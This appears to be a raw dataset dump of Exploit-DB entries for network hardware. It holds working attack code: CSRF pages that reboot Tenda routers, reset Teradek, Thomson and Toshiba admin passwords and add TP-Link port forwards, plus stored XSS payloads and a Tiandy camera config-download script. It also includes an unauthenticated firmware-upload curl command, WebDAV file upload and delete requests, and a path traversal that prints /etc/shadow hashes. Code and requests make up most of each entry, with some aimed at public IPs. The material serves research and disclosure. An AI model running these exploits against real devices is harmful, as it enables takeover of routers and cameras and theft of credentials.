deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45078
Description: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)
Type: webapps
Platform: hardware
Date: 2018-07-23
Author: Nathu Nandwani

Exploit:
# Exploit Title: Tenda Wireless N150 Router 5.07.50 - Cross-Site Request Forgery (Reboot Router)
# Date: 2018-07-21
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2015-5996
#
# Description:
#
# The router is vulnerable to a cross-site request forgery attacker. 
# If an administrator is currently logged in and visits a 
# remote webpage containing forms existing in the router's firmware, 
# a request can be forged to modify existing settings or even 
# set the router to its default state.
#
# These are two examples that can work in the proof of concept: 
# /goform/SysToolReboot - Reboot the router
# /goform/SysToolRestoreSet - Set the router to default settings
#
# Reference: https://www.kb.cert.org/vuls/id/630872

import socket

server_ip = "0.0.0.0"
server_port = 80

router_ip = "192.168.0.1"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)        

client, (client_host, client_port) = sock.accept()

print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send('HTTP/1.0 200 OK\r\n')
client.send('Content-Type: text/html\r\n')
client.send('\r\n')
client.send("""
<html>
    <body>
        <form method="post" id="frmSetup" name="frmSetup" action="http://""" + router_ip + """/goform/SysToolReboot">
            <input name="CMD" value="SYS_CONF" type="hidden">
            <input name="GO" value="system_reboot.asp" type="hidden">
            <input name="CCMD" value="0" type="hidden">
        </form>
        <script>
            document.getElementById("frmSetup").submit();
        </script>
    </body>
</html>
""")

client.close()
sock.close()
Exploit-DB #32943
Description: Teracom Modem T2-B-Gawv1.4U10Y-BI - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-04-20
Author: Rakesh S

Exploit:
# Exploit Title: Teracom Modem CSRF Vulnerability
# Date: 20-04-2014
# Author: Rakesh S
# Software Link: http://www.teracom.in/
# Version:  T2-B-Gawv1.4U10Y-BI

The vulnerability exists due to insufficient validation of HTTP request origin. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage to change SSID and its password.
 
The exploitation example below changes password for the SSID:
 
 
<a href="http://[HOST]/webconfig/wlan/country.html/country?context=&wlanprofile=MIXED_G_WIFI&wlanstatus=on&country=INI&txpower=1&wlanmultitouni=on&TxRate=Automatic&chanselect=automatic&channel=8&essid=SSID&hidessid=off&security=wpa2&encryptionselect=tkip&authmethodselect=psk&wpapp=ChangePassword&pmkcaching=on&confirm=Confirm" target="myIframe">Submit</a>
Exploit-DB #31087
Description: Teracom Modem T2-B-Gawv1.4U10Y-BI - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2014-01-20
Author: Rakesh S

Exploit:
# Exploit Title: Teracom Modem Stored XSS Vulnerability
# Date: 19-01-2014
# Author: Rakesh S
# Software Link: http://www.teracom.in/
# Version:  T2-B-Gawv1.4U10Y-BI
# Tested on: Windows 7
# Code :
GET /webconfig/wlan/country.html/country?context=&wlanprofile=MIXED_G_WIFI&wlanstatus=on&country=INI&txpower=5&wlanmultitouni=on&TxRate=Automatic&chanselect=automatic&channel=4&essid="><img src=x onerror=prompt(1);>%3E&hidessid=off&security=wpawpa2&authmethodselect=psk&wpapp=---&pmkcaching=off&confirm=Confirm HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Proxy-Connection: keep-alive
Referer: http://192.168.1.1/webconfig/wlan/country.html
Cookie: httpTimeOut=None
Authorization: Basic VGhpc2lzbm90Ok15b3JnaW5hbHBhc3N3b3Jk

Attack details
The variable Network Name (SSID): has been set to "><img src=x onerror=prompt(1);>
Exploit-DB #44675
Description: Teradek Cube 7.3.6 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-05-21
Author: LiquidWorm

Exploit:
<!--

Teradek Cube 7.3.6 CSRF Change Password Exploit


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.6 (build 26850)
                  Hardware Version: 1.5
                  Teradek Firmware Version 7.3.15


Summary: Cube packs world-class video quality into a rugged, portable
chassis for quick IP video deployments at any location. Each encoder
and decoder includes HDMI and 3G-SDI I/O, Ethernet / WiFI connectivity,
and full duplex IFB.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5464
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5464.php


02.03.2018

-->


<html>
  <body>
    <form action="http://127.0.0.1/cgi-bin/system.cgi" method="POST">
      <input type="hidden" name="command" value="password" />
      <input type="hidden" name="pw1" value="P@ssw0rd" />
      <input type="hidden" name="pw2" value="P@ssw0rd" />
      <input type="hidden" name="user" value="admin" />
      <input type="hidden" name="action" value="Change&#32;Password" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Exploit-DB #44676
Description: Teradek Slice 7.3.15 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-05-21
Author: LiquidWorm

Exploit:
<!--

Teradek Slice 7.3.15 CSRF Change Password Exploit


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: Firmware Version: 7.3.15 (build 31735)
                  Hardware Version: 2.1


Summary: Built on the award-winning Cube platform, Slice is a rack mount
HEVC / H.264 codec designed to fit seamlessly into your broadcast studio.
Like the Cube, Slice encoders and decoders includes 3G-SDI and HDMI I/O,
Ethernet and WiFi connectivity, and full duplex IFB.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: lighttpd/1.4.48
           lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5467
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5467.php


02.03.2018

-->


<html>
  <body>
    <form action="http://127.0.0.1:8090/cgi-bin/password.cgi">
      <input type="hidden" name="pw1" value="P@ssw0rd" />
      <input type="hidden" name="pw2" value="P@ssw0rd" />
      <input type="hidden" name="user" value="admin" />
      <input type="submit" value="Initiate" />
    </form>
  </body>
</html>
Exploit-DB #44671
Description: Teradek VidiU Pro 3.0.3 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-05-21
Author: LiquidWorm

Exploit:
<!--

Teradek VidiU Pro 3.0.3 CSRF Change Password Exploit


Vendor: Teradek, LLC
Product web page: https://www.teradek.com
Affected version: VidiU, VidiU Mini, VidiU Pro
                  3.0.3 (build 32136)
                  3.0.2 (build 31225)
                  2.4.10

Summary: The Teradek VidiU gives you the freedom to broadcast live
high definition video directly to the Web without a PC. Whether you're
streaming out of a video switcher or wirelessly from your camera,
VidiU allows you to go live when you want, where you want. VidiU
offers API level integration with the Ustream, YouTube Live and
Livestream platforms, which makes streaming to your channel as
easy as logging into your account.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: lighttpd/1.4.48
           lighttpd/1.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5460
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5460.php


02.03.2018

-->


<html>
  <body>
    <form action="http://127.0.0.1:8090/cgi-bin/password.cgi">
      <input type="hidden" name="pw1" value="P@ssw0rd" />
      <input type="hidden" name="pw2" value="P@ssw0rd" />
      <input type="hidden" name="user" value="admin" />
      <input type="submit" value="Initiate" />
    </form>
  </body>
</html>
Exploit-DB #27320
Description: Thomson SpeedTouch 500 Series - LocalNetwork Page 'name' Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2006-02-25
Author: Preben Nylokken

Exploit:
source: https://www.securityfocus.com/bid/16839/info
 
The SpeedTouch 500 series are prone to a cross-site scripting vulnerability. This issue is due to a failure in the devices to properly sanitize user-supplied input. 
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the compromise of the device.

http://www.example.com/cgi/b/intfs/_intf_/ov/?ce=1&be=0&l0=3&l1=1&name=[code here]
Exploit-DB #33866
Description: Thomson TWG87OUIR - POST Password Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2014-06-25
Author: nopesled

Exploit:
#Author: nopesled
#Date: 24/06/14
#Vulnerability: POST Password Reset CSRF
#Tested on: Thomson TWG87OUIR (Hardware Version)

<html>
<head>
	<title>Thomson TWG87OUIR CSRF</title>
</head>
<body>
     <form name="exploit" method="post"
	action="http://192.168.0.1/goform/RgSecurity">
	<input type="hidden" name="HttpUserId" value="" />
	<input type="hidden" name="Password" value="newpass" />
	<input type="hidden" name="PasswordReEnter" value="newpass" />
	<input type="hidden" name="RestoreFactoryNo" value-="0x00" />
     </form>
     <script type="text/javascript">
	document.exploit.submit();
     </script>
</body>
</html>
Exploit-DB #44058
Description: Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure
Type: webapps
Platform: hardware
Date: 2017-08-03
Author: SecuriTeam

Exploit:
## Vulnerability Summary
The following advisory describes sensitive information Disclosure found in Tiandy IP cameras version 5.56.17.120

Tianjin Tiandy Digital Technology Co., Ltd ( Tiandy Tech) is “one of top 10 leading CCTV manufacturer in China and a global supplier of advanced video surveillance solutions.”

## Credit 
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
We tried to contact Tiandy starting from August 16 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.

CVE: CVE-2017-15236

## Vulnerability details
Tiandy uses a proprietary protocol, a flaw in the protocol allows an attacker to forge a request that will return configuration settings of the Tiandy IP camera.

## Proof of Concept
By sending the following request, an attacker can download the following files:

``
config_server.ini
extendword.txt
config_ptz.dat
config_right.dat
config_dg.dat
config_burn.dat
```

## POC.PY

```
import socket
ip = '192.168.1.1'
data1 = '\x74\x1f\x4a\x84\xc8\xa8\xe4\xb3\x18\x7f\xd2\x21\x08\x00\x45\x00\x00\xcc\x3e\x9a\x40\x00\x40\x06\xd4\x13\xac\x10\x65\x75\x6e\x31\xa7\xc7\x43\x5b\x0b\xb9\x85\xbc\x1d\xf0\x5b\x3e\xe8\x32\x50' +
'\x18\x7f\xa4\xc6\xcf\x00\x00\xf1\xf5\xea\xf5\x74\x00\xa4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90\x00' + ip +
'\x09\x50\x52\x4f\x58\x59\x09\x43\x4d\x44\x09\x44\x48\x09\x43\x46\x47\x46\x49\x4c\x45\x09\x44\x4f\x57\x4e\x4c\x4f\x41\x44\x09\x36\x09\x63\x6f\x6e\x66\x69\x67\x5f\x73\x65\x72\x76\x65\x72\x2e' +
'\x69\x6e\x69\x09\x65\x78\x74\x65\x6e\x64\x77\x6f\x72\x64\x2e\x74\x78\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x70\x74\x7a\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x72\x69\x67\x68\x74\x2e' +
'\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x64\x67\x2e\x64\x61\x74\x09\x63\x6f\x6e\x66\x69\x67\x5f\x62\x75\x72\x6e\x2e\x64\x61\x74\x0a\x0a\x0a'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,3001))
s.send(data1)
while True:
  buf = s.recv(64)
  if not len(buf):
    break
  print buf
```
Exploit-DB #44335
Description: TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2018-03-23
Author: Mans van Someren

Exploit:
/*
Exploit Title: TL-WR720N 150Mbps Wireless N Router - CSRF
Date: 21-3-2018
Exploit Author: Mans van Someren
Vendor Homepage: https://www.tp-link.com/
Software Link: https://static.tp-link.com/resources/software/TL-WR720N_V1_130719.zip
Version: All versions because its a 0day
Testen on: Google Chrome - Windows 10
 
this is only a portforwarding & change wifi password PoC but every action I found on the router is vulnerable to CSRF
*/
 
var ROUTER_HOSTS = ['192.168.0.1', '192.168.1.1'];
var ROUTER_PORTS = ['80', '8080'];
 
function portforward(router_host, router_port, host, port) {
    var img = new Image();
    img.src = 'http://' + router_host + ':' + router_port + '/userRpm/VirtualServerRpm.htm?Port=' + port + '&Ip=' + host + '&Protocol=1&State=1&Commonport=0&Changed=0&SelIndex=0&Page=1&Save=Save';
}
 
function change_wifi_pass(router_host, router_port, newpass) {
    var img = new Image();
    img.src = 'http://' + router_host + ':' + router_port + '/userRpm/WlanSecurityRpm.htm?vapIdx=1&wepSecOpt=3&keytype=1&keynum=1&key1=&length1=0&key2=&length2=0&key3=&length3=0&key4=&length4=0&wpaSecOpt=3&wpaCipher=1&radiusIp=&radiusPort=1812&radiusSecret=&intervalWpa=86400&secType=3&pskSecOpt=2&pskCipher=3&pskSecret=' + newpass + '&interval=86400&Save=Save';
}
 
for (var i = 0; i < ROUTER_HOSTS.length; i++) {
    for (var j = 0; j < ROUTER_PORTS.length; j++) {
        portforward(ROUTER_HOSTS[i], ROUTER_PORTS[j], '192.168.0.1', '23');
        change_wifi_pass(ROUTER_HOSTS[i], ROUTER_PORTS[j], 'pwned123');  
    }
}
Exploit-DB #48152
Description: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
Type: webapps
Platform: hardware
Date: 2020-03-02
Author: Elber Tavares

Exploit:
# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Date: 2019-11-20
# Exploit Author: Elber Tavares
# Vendor Homepage: https://www.tp-link.com/
# Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware
# Version: TL-WR849N 0.9.1 4.16
# Tested on: linux, windows
# CVE : CVE-CVE-2019-19143

Uploading new firmware without access to the panel

REFS:
 https://github.com/ElberTavares/routers-exploit/tp-link
 https://fireshellsecurity.team/hack-n-routers/


Poc:
curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer:
http://TARGET/mainFrame.htm" -F data=@conf.bin
http://TARGET/cgi/confup
Exploit-DB #50935
Description: TLR-2005KSH - Arbitrary File Delete
Type: webapps
Platform: hardware
Date: 2022-05-12
Author: Ahmed Alroky

Exploit:
# Exploit Title: TLR-2005KSH - Arbitrary File Delete
# Date: 2022-05-11
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-46424

# Proof-of-Concept
# Request

DELETE /cgi-bin/test2.txt HTTP/1.1
Host: 220.89.223.215:8083
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Exploit-DB #50931
Description: TLR-2005KSH - Arbitrary File Upload
Type: webapps
Platform: hardware
Date: 2022-05-11
Author: Ahmed Alroky

Exploit:
# Exploit Title: TLR-2005KSH - Arbitrary File Upload
# Date: 2022-05-11
# Shodan Dork: title:"Login to TLR-2021"
# Exploit Author: Ahmed Alroky
# Author Company : Aiactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# Tested on: Windows
# CVE: CVE-2021-45428

# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server,telesquare TLR-2021 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.

# Proof-of-Concept
# Request


PUT /l6f3jd6cbf.txt HTTP/1.1
Host: 223.62.114.233:8081<http://223.62.114.233:8081/>
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Length: 10
Exploit-DB #41170
Description: TM RG4332 Wireless Router - Arbitrary File Disclosure
Type: webapps
Platform: hardware
Date: 2017-01-26
Author: Saeid Atabaki

Exploit:
# Exploit Title: TM RG4332 Wireless Router Traversal Arbitrary File Read
# Date: 27/01/2017
# Exploit Author: Saeid Atabaki
# Version: RG4332_V2.7.0
# Tested on: RG4332 with mini_http 1.19

 
 
= 1 =============================================================
 
GET /cgi-bin/webproc?getpage=html/../../../etc/passwd&var:menu=status&var:page=system_msg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: sessionid=17746062; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; language=en_us; Lan_IPAddress=192.168.0.1; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT
Connection: close
 
---
 
HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=17746062;
set-cookie: auth=ok;
set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT;


#root:x:0:0:root:/root:/bin/bash
root:x:0:0:root:/root:/bin/sh
#tw:x:504:504::/home/tw:/bin/bash
#tw:x:504:504::/home/tw:/bin/msh

 
= 2 =============================================================
 
GET /cgi-bin/webproc?getpage=html/../../../etc/shadow&var:menu=status&var:page=system_msg HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Cookie: sessionid=17746062; auth=ok; expires=Sun, 15-May-2012 01:45:46 GMT; language=en_us; Lan_IPAddress=192.168.0.1; sys_UserName=admin; expires=Mon, 31-Jan-2050 16:00:00 GMT
Connection: close

---

HTTP/1.0 200 OK
Content-type: text/html
Cache-Control: no-cache
set-cookie: sessionid=17746062;
set-cookie: auth=ok;
set-cookie: expires=Sun, 15-May-2012 01:45:46 GMT;


#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
Exploit-DB #29570
Description: TOSHIBA e-Studio 232/233/282/283 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: hardware
Date: 2013-11-13
Author: Hubert Gradek

Exploit:
# Exploit Title: TOSHIBA e-Studio 232/233/282/283 Change Admin Password CSRF Vulnerability
# Date: 02.10.2013
# Exploit Author: Hubert Gradek (PL)
# Affected version: firmware T377SY0EXXX
# Tested on: TOSHIBA e-Studio 232 (T377SY0E354) / 233 (T377SY0E331)
# CVE : No CVE exists - 0day exploit



Password must be minimum 6 digits!!!
login: Admin


EXPLOIT:

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>TOSHIBA e-Studio 232/233/282/283 Change Admin Password</H2>
<form name="form0" action="http://[IP_ADDR]:8080/ADMIN/SETUP/Save" method="post">
<input type="hidden" name="MODE" value="General" />
<input type="hidden" name="EDTCHK" value="1" />
<input type="hidden" name="STRADMINPASS" value="331337" />
<input type="hidden" name="STRADMINPASSDUMMY" value="331337" />
<input type="hidden" name="STRCONADMINPASS" value="331337" />
</form>
</body>
</html>
Exploit-DB #45063
Description: Touchpad / Trivum WebTouch Setup 2.53 build 13163 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2018-07-20
Author: vulnc0d3

Exploit:
# Exploit Title: Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 - Unauthorized Authentication Reset

# Date: 2018-07-20

# Software Link: https://world.trivum-shop.de

# Version: < 2.56 build 13381 - 12-07-2018

# Category: webapps 

# Tested on: 

Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 of Apr 6 2018 09:10:14 (FW 303)

# Exploit Author: vulnc0d3

# Contact: http://twitter.com/HerwonoWr

# CVE: CVE-2018-13862

1. Description 

Touchpad / Trivum WebTouch Setup V9 V2.53 build 13163 of Apr 6 2018 09:10:14 (FW 303) before 2.56 build 13381 - 12.07.2018, allow unauthorized remote attackers to reset the authentication via "/xml/system/setAttribute.xml" URL, using GET request to the end-point "?id=0&attr=protectAccess&newValue=0" (successful attack will allow attackers to login without authorization). 

2. Proof of Concept

# GET Request

http://target/xml/system/setAttribute.xml?id=0&attr=protectAccess&newValue=0

3. Vendor Changes Log

# http://update.trivum.com/update/tp9-changes.html